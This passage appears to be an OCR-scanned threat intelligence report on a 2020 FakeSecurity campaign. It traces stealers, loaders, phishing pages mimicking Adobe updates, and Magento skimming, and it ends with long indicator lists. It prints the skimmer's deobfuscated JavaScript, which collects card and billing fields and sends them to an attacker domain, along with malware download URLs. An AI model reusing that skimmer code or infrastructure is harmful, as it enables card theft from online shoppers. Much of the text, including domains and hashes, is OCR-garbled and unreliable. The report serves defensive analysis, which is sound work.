
Content-Type: multipart/form-data, boundary=4k683b59nd8j798843458n
Content-Length: 29861

Host: 35.198.88.195

hitp:/f35.198.88.195/gate/libs.zip

GET fgate/libs.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; SLCC2;
.NET CLR 2.8.58727; .NET CLR 3.5.38729; .NET CLR 3.8.38729; Media Center PC 6.8;
-NETA_8C; _NET4.8E)

Host: 35.198.88.195

Connection: Keep-Alive

hitp:/fcloud-server-updater1.co.za/doc/officeupdate.exe

GET fdoc/officeupdate.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; SLCC2;
-MET CLR 2.8.58727; _NET CLR 3.5.38729; _NET CLR 3.8.38729; Media Center PC 6.8;
-NET4.8C; .NETA.8E)

Host: cloud-server-updaterl.co.za

Connection: Keep-Alive

https://telete.in/blintick

6639081791A8909F0
42E4A4197DF70513
82B04E5 Raccoon stealer network communication




Using loaders

During this campaign, the attackers also experimented with various loaders. While analyzing
the infrastructure, we discovered the Buer and Smoke loaders.

On April 30, 2020, an xls document (SHA1: 6¢6680659b09d18ccab0f933daf5bf1910168b1a)
was uploaded to VirusTotal. When the malicious code is executed, it downloads the payload
from http://cloud-server-updater2.co[.]za/doc/buer.exe.

Graph 6c6680659D09d18ccab0r933darsbr1910168b1a

< 6c6680659b09d18ccab0f933daf5bf1910168b1a

HTTP

URL & Request

hitp://cloud-server-updater2.co.za/doc/buer.exe
[+ I
6c6680659b09d18ceab01933daf5bI1910168b1a

hitp://cloud-server-updater2.co.za/doc/buer.exe

SHA1:6c6680659b09

d18ccab0f933daf5bf1

910168b1a file network communication established with the help of Group-IB Graph Network
Analysis

Apart from that, the files were uploaded to a public resource: bazaar.abuse][.]ch.

The file names and the tags attached refer to the Buer loader.
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https://bazaar.abuse.ch/sample/bc96c38e3f85c43923a37f57c096eb5b3913b516dbcb11b46cb9cfd0c1d167ce/

File name: buer.exs

Download: B download sample

Signature @ ¥ Buerl oader

File size: 283'648 bytes

First seen: 2020-04-30 09:14:04 UTC

Last seen: MNever

File type: [T exe

MIME type: application/x-dosexec

imphash @ ) 26a37bedaleb7fb9c95calblc2edadss

ssdeep @ 3072:aG55tsYTEPLIgeMYWIzESol9bmKPvFde/HX2WHsopmuNgynL2tLRISn40:aGS1&eMTA3 ol9bIPvu/HXZT
Threatray @ 46 similar samples on MalwareBazaar

TLSH @ 13549D117ADCCOY5E2A386340461E7A8DE377CB35F6055CBT78C1E2BEE7O02D189AEBBG
Reporter @ @abuse_ch

Tags: [xc

musels @abuse ch
Malspam distributing BuerLoader:
HELO: mx3.wp.pl
Sending IP: 212.77.101.9
From: Taylor Hosley <arrington.keeshal23@wp.pl>

Subject: payment-error
Attachment: Statement_320.xlsm

Buerloader payload URL:
http://cloud-server-updater?.co.za/doc/buer.exe

Buerloader C2:
cloudupdates.co.za:443 (102.130.119.142)

SHA1:7b1a5d9bb21d8
52a6dbf3146fabb1cd1
ca276ed9 file network communication

While monitoring the adversary infrastructure, we identified a batch of domains registered by
the attackers between August 24 and September 12, 2020. Examples of such domains are

presented below:

RegistrariWhois: HOSTAFRICA

PhoneWhois: +27.215543096

NSWhois: ns1.host-ww.net

NSWhois: ns2.host-ww.net

Whois5erverWhois: Registrar URL: https://www.hostafrica.co.za
MNameSOARecord: ns1.host-ww.net

NSRecord: ns2.host-ww.net

NSRecord: ns1.host-ww.net

RMNameSOARecord: noc.host-ww.net

Domain:code-cloudl.co.za
Domain:code-cloud.co.za
Domain:updateforadobenew.co.za
Domain:updateadobe.co.za
Domain:oneupdateadobe.co.za
Domain:code-cloud2.co.za
Domain:google-document.co.za

Domain:azure-cloud.co.za
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https://bazaar.abuse.ch/sample/522a42c27449aba54fa539f28082f1ddc2e8e6ea4f3dd29141f702a5ad82e29f/

Similar WHOIS domain records

The WHOIS records for these domains match the WHOIS records for those discovered
previously in this campaign. On August 26, 2020, malicious files related to the domains
code-cloud[1-6][.]co.za and google-document[.]Jco.za began appearing on public resources.
One of these files is "BankStatement_1390868739.doc" (SHA1:
ed5c20371bae393df0a713be72220b055e5¢chdad).

< ed5c20371bae393df0a713be72220b055e5chdad X

HTTP

URL & Request

http://google-document.co.za/doc/loader.exe:

hitp://google-document.co.za/doc/loader.exe

-
ed5¢c20371bae393df0a713be72220b055e5chdad

u
# .
Gl ler .exe HTTP/1.1
Ho: ~document. co.za
Co Keep-Alive

google-document.co.za

https://de.services.visualstudio.com:443 /v2/track

SHA1: ed5¢c20371bae393df0
a713be72220b055e5cbdad file network communication established with the help of Group-
IB Graph Network Analysis

When the malicious code is executed, the file downloads the payload from http://google-
document[.]Jco.za/doc/loader.exe. Signature analysis showed that the downloaded file is a
Smoke loader sample.
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https://urlhaus.abuse.ch/url/441030/

Database Entry

1D:

URL:

URL Status:

Host:

Date added:

Threat:

Google Safe Browsing:
Spamhaus DBL [
SURBL [:

Quad9 [:

AdGuard [:

Reporter:

Abuse complaint sent (?):
Takedown time:

Tags:

441030

1! http://google-document.co.za/doc/loader.exe

@ google-document.co.za
2020-08-25 15:04:08 UTC
§# Malware download

Not blocked
Blocked
Anonymous

B Yes (2020-08-25 15:06:02 UTC to abusepoc{at}afrinic[dotlnet)

17 days, 0 hours, 5 minutes @ (down since 2020-09-11 15:11:18 UTC)

Smoke Loader

"loader.exe" file analysis and Smoke loader tag

The fact that the cybercriminals additionally use loaders in their campaigns could indicate
that they are still searching for the most effective tools.

Fourth wave

Some of the domains registered in early September 2020 mimicked Adobe in their names.
From September 14, 2020, Group-IB experts found Mephistophilus with an identical pattern
on these hosts, just like during the first wave.
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P oneupdateadobe.co.za )

ww

¥
wﬁreanh’ updateforadobenew.co.za
o lobet.

oneupdateadobet.updateforadobenew.co.za

SPINMEM3.0.72 jrnacathon.co.za

wuw
www.oneupdateadobe. updateforadobenew 'www.oneupdateadobe8.updateforadobenew.co.za
oneupdateadobe.updateforadobenew.co.za www

05c4...231a

mail.oneupdateadobe2.org.za

oneupdateadobes.updateforadobenew.co.za
Wwre

Dneupdal:adobed.upda(eloradobemw.no.u‘\ @

one’updaleadobezom.za
pdateadobe_updateforadobenew.co.za
www. e .2

-
 www.oneupdateadobed.updateforadobenew.co.za =

‘www documents-cloud Server6.co.za

www,
P ]
www
‘www.documents-cloud-server?.co
160.112.100.6%

webdisk.updateforadobenew.co.za \ww, oneupdateadobed.co.za @ updatepluginsnetwork.com

W 1P

= Mephistophilus 2 adobeupdateplugins.com 75353

dateforadobenew.co.za dobe1.updateforadobenew.co.za

www 1P
/ \ -  updateforadobenew.co.: " " www 9
Cpcalendars.updateforadobenem.co.za mmmmmmmmmm@ma updatet coza @ Mephistophilus N\ 00, souments cous senvert.caza® =

mail.updateforadobed, WY oneupdateadobeS.updateforadobenew.co.za 1e)) wwwupdatepluginsnetwork.com  (3)
mail.oneupdateadobe.org.za Dl 18121486100 ruvg

www.updateforadobenew.co.za vl
580b...167a oneupdateadobe1 updateforadobenew.co.za U e documents-cloud- server .22 \Www www.documents-cloud-serv<i7.co,
™3 www.oneupdateadobelorg.za ‘wrwdocuments cloud servers.coza =

({, Jjreriateadobe3 updateforadobenew.co.z2 @ m - JE——— M4
Connection between the Mephistophilus infrastructure and the 2019 and 2020 campaigns

established with the help of Group-IB Graph Network Analysis

Plugin update required
\
his document cannot yed correctly

You are using an olderv e Reader PDF Plugin
for Google Chrome

Download plugin

A erms of Use / Privacy

Adobe Reader
T -

Screenshot of a Mephistophilus decoy page

27/38



Clicking on the "Download" plugin button downloads the Raccoon stealer file SHA1:
bcfb45e5451435530156f1f02ddbb9cadf6338e9 from
https://updateforadobenew].]co.zalfile_d/adobe-reader-v13.11.1.3.exe.

NKTA  ~

3 exvor RepoRT

Behavioral markers

Credentialsin Registry i Query Registry.

Credentials in Files Browser Bookmark
Discovery.

Process Injection
DLL Side-Loading

Disabling Seeurity Tools.
‘Compiled HTML File
s

MITRE ATT&CK matrix of the file analyzed

Note: Around mid-July 2020, the attackers deleted their Telegram channel. It was restored on
September 14, 2020 and the description contained the encrypted address of the active C&C
server. At the time of writing, the channel is inactive again.
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blintick
4 subscribers

Q

LY

| September 14

blintick

blintick Telegram channel content

This malicious campaign bears a striking resemblance to a series of FakeSecurity JS-sniffer
attacks described by Group-IB in November 2019. Past attacks targeted owners of online
stores powered by Magento CMS. In the campaign described previously, the attackers also
used such tools as the Vidar stealer and the Mephistophilus phishing kit, with an identical
template for Adobe updates. In addition, the attackers used the same hosting service to
register domains in both campaigns.

In the 2020 campaign, the same attack vector was used and involved subsequent
distribution of the Raccoon stealer. In addition, the investigation revealed messages sent to
several online stores from bezco.quise1988@wp.pl and outtia.lene1985@wp.pl.

A detailed analysis of the first-wave malware distribution via Mephistophilus phishing pages
revealed a link between the domains involved in this campaign (in particular documents-
cloud-server*[.Jco.za) and the FakeSecurity campaign. During the 2020 campaign, phishing
pages were available at the following URLSs:
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https://www.group-ib.com/blog/fakesecurit

i

www.documents-cloud-serveré

co.za/view/public/Statement00810014/PDF/StatmentO. 5 months 294 KB

i

www.documents-cloud-serveré.co.za/view/public/Statement00810014/PDF/StatmentO. 5 months 295KB

1

www.documents-cloud-serveré.ce

.za/view/public/Statement00810014/PDF/StatmentO... 5 months 294 KB 7 3 2

i

www.documents-cloud-serverZ2.co.za/view/public/Statement00810012/PDF/Statment0... 5 months 294 KB

e ¢ @ ¢ ©

i

ww.documents-cloud-server?2.co.za/view/public/Statement00810012/PDFE/StatmentO 5 months 294KB

i

adobeupdateplugins.com/view/public/BankStatement/PDF/Statment00810012.pdf 7 months 294KB 8 4 4

1

adobeupdateplugins.com/view/public/BankStatement/PDF/Statment00810012.pdf 7 months 294KB 8 4 4

i

adobeupdateplugins.com/view/public/BankStatement/PDF/Statment00810012.pdf 7 months 294 KB 8 4 4

i

www.updatepluginsnetwork.com/view/public/BankStatement040391/PDF/Statment0081 7 months 294 KB

oaypparel.com/view/public/Statement00534521/PDF/Statement001854 pdf ayear 294 KB

N

jocument.mage-security.org/view/public/my_5/PDF/eStmt1.pdf avyear 294 KB
List of domains with an identical structure

According to urlscanl.]io, more than 20 sites with a similar structure were discovered, but the
one that stands out is alloaypparel[.Jcom. It was used in the FakeSecurity campaign.

Since March 2020, Group-IB specialists have started detecting online store infections with a
JS sniffer obfuscated by the aaencode algorithm (https://utf-8.jp/public/aaencode.html). The
malware was loaded from get-js[.Jcom. WHOIS records similar to those used previously by
this group were located at get-js[.Jcom:

e fiswedbesign[.Jcom
e alloaypparel[.Jcom
o firstofbanks[.Jcom

e magento-security[.]Jorg
e mage-security[.Jorg

magento-security.org

1

firstofbanks.com

30/38



Connection between FakeSecutiry infrastructure during the 2019 campaign and the domain
get-js[.Jcom built with the help of Group-IB Graph Network Analysis

W=/ m0) )L YR '] 0=(-) ==3; c=(0") =(-)-(-); (O) =(8)= (0”_"0)/ (o"_
-(Ce)] O/ (C-==3) +'_")[-"13} CO) I'e] =((w/==3) +'_") [c*_"o]; (ﬂ) ['c'] = (CO)+"_"
e 1+0H) [0t 1+Cw/ +'_ 081+ (Cw/==3) +'_') [=1+ ((L) +_") [C)+C-)1+ ((—=3) +
[C=)+C=)+ @) [o'l+(C=—"==3) +'_") ['01;0C0) ['_'] =(0~_"0) [0'] [(0]1;( € )=(("-"==3) +'
—01+((C—"==3) +'_') [6]+ Cw/+'_") ['0]; ()+=C0); COICeEI="\\"; (D). e/=(C0+" -)I
) '] Ce+(Cm)lo ]l OO0 T+(CO )+ ((0~_"0) +(0~_"0))+ ({0~_"~0) +(0~_"0))+ ("0 )[ € 1+( ¢
)+ (O 1+C-)+ (er o)+ () E1+C0 )+ (=) + (0~_"0))+ (e~ ")+ (O e 1+(-")+ (c
o)+ COICEI+CO )+ C-)+ C-)+ (RICE1+CO)+ (=) + o))+ (C-7) + (o~_~0))+ OO
)+ (O EIRCO )+ (C-) + CON+ (C=) + Co)+ (O EI+CE )+ C-)+ (C-) + (CO))+
((0~_"0) +{o~_~0))+ C=")+ (@) eI+((-") + ("6 ))+ ((0~_"0) +(0~_"0))+ O[]+ )+ (- )+
TICeE1+(0 )+ ((0~_"0) +(0” "0))+ =)+ (D) ]+C0 )+ (™ ma)+ (=) + (6 ))+ (o) 1+(
HTICEI+Ce )+ (C-) + CoaN+ (C-) + Co)N+ COICE1+CO)+ )+ () + (C0°))+ CO)[E
+(o*_"0))+ (- )+ (M) 1+(C0 )+ ((0~_"0) +(0™_"0))+ (0~ o)+ (M) € 1+(0 )+ (c*_"0)+ ((0*_"0
(o~ ™) - (CON+ C-)+ (I el+(Ce)+ )+ (CO)+ COIET+CO)+ C-7)+ (=) + (0~_"0))
)+ (O EI+CO)+ (C-) + CON+ (C-) + CON+ (COICEI+CO)+ =)+ (=) + (0 ))+ (]
‘TICeE1+C0)+ )+ ((0~ ) - O+ (D) 1+(0 )+ ((0~_"0) +(0™"0))+ () + (C@))+ (
+(0~ o))+ (- )+ (M) eE]+CO)+ (C-) + CON+ (=) + (0~ m0))+ (DI eEI+(CO)+ (=) + (
TICeEIHC-) + (0 ))+ ('B')+ Co)r E’]+(('—') + (o"_"o))+ (o~ )+ (D)€ 1+0-" )+ (c~_"0)+
((o" ~0) +(0"~_"0))+ ( pirel+(Ce )+ (-)+ o)+ OO a 1+C 0 )+ ((0~_"0) +(o" ~0))+ ((0~_"0)
G )+ ((D)Ce1+(C-) + (0~_"0))+ (0~ "o)+ (o) el+C-)+ (e~ o)+ (o) E1+(0 )+ ((0~_"0)

("0 ))+ (=) + (0~_"0))+ ( n YO 1+(°0 )+ ((0~_"0) +(0™_"~0))+ ((0~_"0) - (C6' )+ (D)
o+ o)+ ()T C-) + (0 a))+ (=) + (CO))+ () 1+((0~_"0) +(0”*_"0))
6))+(6)+(ﬂ.)[a]+((-)+(o’”‘o))+(-)+(H)[a]+(e)+((-)+(o"’*o))+ (c*_"o)+
))+(—)+(£I)[E]+(B)+(—)+((—)+(B))+(ﬂ)[£]+(8)+((—)+(B))+((o""o)
~ 7o) +(o~ o))+ =)+ CONET+CO )+ (C=") + (0 ))+ (cr_0)+ (D)€ 1+((-") + (0~_"0))

Part of JS-sniffer code obfuscated with aaencode

After deobfuscating it, Group-IB established that the malware used for infections was a
modified version of the FakeSecurity JS-sniffer. Its distribution was analyzed in November
2019.
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fname = document.getElementById("billing:firstname").value;

-~ lname = document.getElementById("billing:lastname").value;
email = document.getElementById("billing:email™).value;
telephone = document.getElementById("billing:telephone").value;

~ post = document.getElementById("billing:postcode").value;
street document.getElementById("billing:streetl").value;

~ city = document.getElementById("billing:city").value;
el = document.getElementById("billing: region_id");
state - el.options[el.selectedIndex].innerHTML;

- e2 = document.getElementById("billing:country_id");
country - e2.options[e2.selectedIndex].value;
ccnum = document.getElementById("authorizenet_cc_number").value;

-~ cvv = document.getElementById("authorizenet_cc_cid").value;
e3 = document.getElementById("authorizenet_expiration");
exp_m = e3.options[e3.selectedIndex].value;

- e4 = document.getElementById("authorizenet_expiration_yr");
exp_y - ed.options[e4.selectedIndex].value;

- result = ccnum+";"+exp_m+";"+exp_y+";"+cvv+";"+fname+" ;" +1lname+" ;" +street+";"+country+";"+post
";"+state+";"+city+" ;" +telephone+";" +remail “;null;null;null;vatE.com;";
n = document.createElement("img");

- myStr = result;
var key = 41;

function crypt(str, key){
var newstr 1
(let i-0; i < str.length; i++) {
let char = str.charCodeAt(i) ~ key;

newstr String.fromCharCode(char);

newstr;

}
var resultl - btoa(crypt(myStr,key));

n.src = "https://get-js.com/post.php?payment="+resultl;
}

b;

}

Deobfuscated code of the FakeSecurity JS-sniffer modified version

In May 2020, Group-IB discovered new infected online stores. Once again, the attackers
used a modified FakeSecurity JS-sniffer obfuscated with aaencode. The malware was

injected either by a link using a script tag or by modifying existing JavaScript files on the site.

The JS-sniffer was used to compromise over 20 online stores between May and September
2020. The following domains were used to store the code and collect stolen bank card data
during the new campaign:

* cloud-js[.]Jco.za

* host-js[.]co.za

* magento-cloud[.]Jco.za

* magento-js[.]co.za

* magento-security[.]Jco.za

» marketplace-magento[.]co.za
* marketplacemagento[.]Jco.za
* node-js[.]Jco.za

* node-js[.]Jco.za
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* payment-js[.Jco.za
* security-js[.]Jco.za
* web-js[.]co.za

Created on April 24, 2020 (during the second wave), these domains were registered with the
same registrars as those used to distribute the Vidar and Raccoon stealers and the Buer and
Smoke loaders.

The format of the links to the JS-sniffer files combined with the malware family type suggest
that FakeSecurity JS-sniffer operators are behind the campaign to infect online stores.

In addition, some domains involved in the campaign under investigation hosted a parked
page labeled "test page", like the one hosted on FakeSecurity domains:

* https://urlscan.io/result/0299b3e5-cbba-40be-adce-7ba437e4cb39/ microsoft-
cloud10[.]Jco.za

* https://urlscan.io/result/8f244d1b-2186-4db5-9¢52-6122584dafa9/ - documents-cloud-
server[.]Jco.za

nicrosoft-cloud10.co.za

>

IRL: http://microsoft-cloud10.co.za/
ubmission: On July 06 via manual (July 6th 2020, 12:41:20 pm) from DE =

ﬁSummary SHTTP 1 W Behaviour 4 Indicators & similar EDom K Content  BEAPI
ummary Screenshot :] =3 Full Image

Lo
This website contacted 1 IPs in 1 countries across 1 domains to perform 1 HTTP transactions.

The main IPis 102.130.112.195, located in South Africa and belongs to xneelo, ZA. The main
domain is microsoft-cloud10.co.za.

microsoft-cloud10.co.za scanned 3 times on urlscan.io
urlscan.io Verdict: (v)

Live information

Google Safe Browsing: @ Malicious

Examples of similar parked pages on JS-sniffer FakeSecurity's gate and domains in co.za

zone
payment-js.co.za/ b4
C' | @ payment-js.co.za
this test page
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https://node-js.org za: 443/

https://node-js.org za:443/index_php

test page

The evidence found indicates that the operators of the FakeSecurity JS-sniffer family are
likely to be behind the multi-stage malicious campaign described above. According to our
information, even though the group gains initial access using non-self-developed tools sold
or rented on darknet forums, it continues to operate its exclusive JS-sniffer.

Recommendations

Below you can see attackers' TTPs and relevant mitigation and defense techniques in
accordance with MITRE ATT&CK and MITRE Shield that we recommend to use to protect
against and prevent cyberattacks.

All the mitigation and defense techniques are implemented in Group-IB's products intended
for the protection against cyberattacks at early stages. If you have any questions or suspect
that you're being attacked email us at response@cert-gib.com.
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FakeSecurity's TTPs and relevant mitigation and
defense techniques in accordance with MITRE

GHDUP‘iB|

ATT&CK and MITRE Shield

Tactics

Techniques
of adversaries

Mitigations & Active
Defense Techniques

Group-IB mitigation &
protection products

Reconnaissance

T1595. Active Scanning

M1016. Vulnerability Scanning

Security Assessment

M583. Acquire Infrastructure

Initial Access

Execution

Defense Evasion

Credential Access Threat Hunting Framewaork

Collection

M1038. Execution Prevention
M1031. Network Intrusion
Prevention

DTEOO21. Hunting

DTEOO22. Isoclation
DTEOQO27. Network Monitoring
DTEOQO3. API Monitoring
DTEOOQO34. Systemn Activity
Monitoring

DTEOO31. Protocol Decoder

Command and Control T1219. Remote Access Software Threat Hunting Framework

Exfiltration T1041. Exfiltration Over

C2 Channel

Hunting_Platform on our website.
Indicators

cloud-server-updater|.]Jco.za

cloud-server-updater1[.]Jco.za
cloud-server-updater2|.]Jco.za
cloud-server-updater3[.]Jco.za



https://www.group-ib.com/security-assessment.html
https://www.group-ib.com/threat-hunting-framework.html
https://www.group-ib.com/intelligence-attribution.html
https://www.group-ib.com/cyberschool.html
https://www.group-ib.com/red-teaming.html
https://www.group-ib.com/incident-response.html
https://www.group-ib.com/fraud-hunting-platform.html
https://www.group-ib.com/

cloud-server-updater4[.]Jco.za
cloud-server-updater5[.]Jco.za
cloud-server-updater6[.]Jco.za
cloud-server-updater7[.]Jco.za
cloud-server-updater8[.]Jco.za
cloud-server-updater9[.]Jco.za
cloud-server-updater10[.]Jco.za
cloud-server-updater11[.Jco.za
cloud-server-updater12[.]Jco.za
cloud-server-updater13[.]Jco.za
cloud-server-updater14[.]Jco.za
cloud-server-updater15[.]Jco.za
cloud-server-updater16[.]Jco.za
cloud-server-updater17[.]Jco.za
cloud-server-updater18[.]Jco.za
cloud-server-updater19[.]Jco.za
cloud-server-updater20[.]Jco.za
cloud-server-updater21[.]Jco.za
cloud-server-updater22[.]Jco.za
cloud-server-updater23[.]Jco.za
cloud-server-updater24[.]Jco.za
cloud-server-updater25[.]Jco.za
cloud-server-updater26[.]Jco.za
cloud-server-updater27[.]Jco.za
cloud-server-updater28|.]Jco.za
35.228.95[.180

35.198.88[.]1195
34.105.255[.]1170
102.130.113[.]55
34.105.219[.183
oneupdateadobe[.]Jco.za
oneupdateadobe?2][.]co.za
oneupdateadobe3|.]co.za
oneupdateadobe4[.]Jco.za
updateforadobenew].]co.za
oneupdateadobe].]Jorg.za
oneupdateadobe?2[.Jorg.za
oneupdateadobe3[.]Jorg.za
microsoft-cloud1[.]Jco.za
microsoft-cloud6[.]co.za
microsoft-cloud7[.]co.za
microsoft-cloud8[.]Jco.za
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microsoft-cloud9[.]co.za
microsoft-cloud10[.]Jco.za
microsoft-cloud11[.]Jco.za
microsoft-cloud12[.]Jco.za
microsoft-cloud13[.]Jco.za
microsoft-cloud14[.]Jco.za
microsoft-cloud15[.]Jco.za
cloudupdates].]co.za

cloud-js[.]Jco.za
host-js[.]Jco.za
magento-cloud[.]co.za
magento-js[.]Jco.za
magento-security[.]Jco.za
marketplace-magentol[.]co.za
marketplacemagento[.]Jco.za
node-js[.]Jco.za
node-js[.]Jco.za
payment-js[.]co.za
security-js[.]co.za
web-js[.]Jco.za

documents-cloud-server1[.]Jco.za
documents-cloud-server2[.]Jco.za
documents-cloud-server3[.]Jco.za
documents-cloud-server4[.]Jco.za
documents-cloud-server6[.]Jco.za
documents-cloud-server7[.]Jco.za
documents-cloud-server8[.]Jco.za
documents-cloud-server9[.]co.za
documents-cloud-server[.]Jco.za
oneupdateadobe[.]Jco.za
oneupdateadobe?[.]Jco.za
oneupdateadobe3[.]Jco.za
oneupdateadobe4[.]Jco.za
updateforadobenew].]co.za
oneupdateadobe][.]Jorg.za
oneupdateadobe?2[.Jorg.za
oneupdateadobe3|.]Jorg.za
oneupdateadobe3[.Jcom
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badlandsparks.com
gineuter.info
paunsaugunt.com
precambrianera.com
biscayneinn.com
msupdater|.]Jco.za
cloudupdate[.]Jco.za
cloudupdates].]co.za
securitycloudserver[.]Jco.za
fastandprettycleaner[.]hk
download-plugin[.]Jco.za
download-plugins|[.]Jco.za
downloadplugins[.]Jco.za
code-cloud1[.]Jco.za
code-cloud?2[.]Jco.za
code-cloud3[.]Jco.za
code-cloud4[.]Jco.za
code-cloudb[.]co.za
code-cloud6[.]Jco.za
google-document[.]Jco.za
azure-cloud1[.]Jco.za
azure-cloud?2[.]Jco.za
azure-cloud3][.]co.za
azure-cloud4.]co.za
azure-cloud1.web.za
azure-cloud2.web.za
azure-cloud3].web.za
Updateadobeonline[.]Jco.za
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